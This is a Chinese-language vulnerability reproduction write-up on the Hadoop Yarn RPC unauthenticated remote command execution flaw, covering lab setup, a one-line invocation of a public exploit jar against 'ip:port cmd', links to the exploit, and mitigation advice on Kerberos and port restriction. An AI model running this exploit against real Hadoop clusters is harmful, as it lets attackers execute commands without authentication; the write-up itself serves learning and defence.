Hadoop作为一个分布式计算应用框架,种类功能繁多,而Hadoop Yarn作为其核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。Hadoop Yarn RPC未授权访问使得攻击者无需认证即可通过RPC通信执行恶意命令。Hadoop Yarn RPC未授权访问漏洞存在于Hadoop Yarn中负责资源管理和任务调度的ResourceManager,成因是该组件为用户提供的RPC服务默认情况下无需认证即可访问。
下载环境地址:
https://downloads.apache.org/hadoop/common/hadoop-3.3.0/hadoop-3.3.0.tar.gz
代码语言:javascript复制tar-zxvf hadoop-3.3.0.tar.gz
配置java-home
代码语言:javascript复制vi etc/hadoop/hadoop-env.sh
// 修改为
代码语言:javascript复制export JAVA_HOME=/usr/local/jvm/java
设置主机允许无密码SSH链接
代码语言:javascript复制ssh-keygen -t rsa -P '' -f ~/.ssh/id_rsa // 创建公钥私钥对
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys //
chmod 0600 ~/.ssh/authorized_keys // 设置权限,owner有读写权限,group和other无权限
运行环境
sbin/start-all.sh
找到启动的端口,本次实验环境是8042端口
漏洞复现
代码语言:javascript复制java -jar YarnRpcUnauth.jar ip:port cmd
local logs可以查看到日志
https://github.com/0x0021h/expbox/blob/main/Hadoop Yarn RPC RCE.md
https://github.com/cckuailong/YarnRpcRCE/releases/download/0.0.1/YarnRpcUnauth.jar
修复建议
1. 建议启用Kerberos认证功能,以阻止未经授权的访问。
2. 如非必要,建议禁止外部地址访问Hadoop RPC服务相关端口;或配置为仅对可信地址开放。
参考链接
https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/YARN.html
https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html#Configuration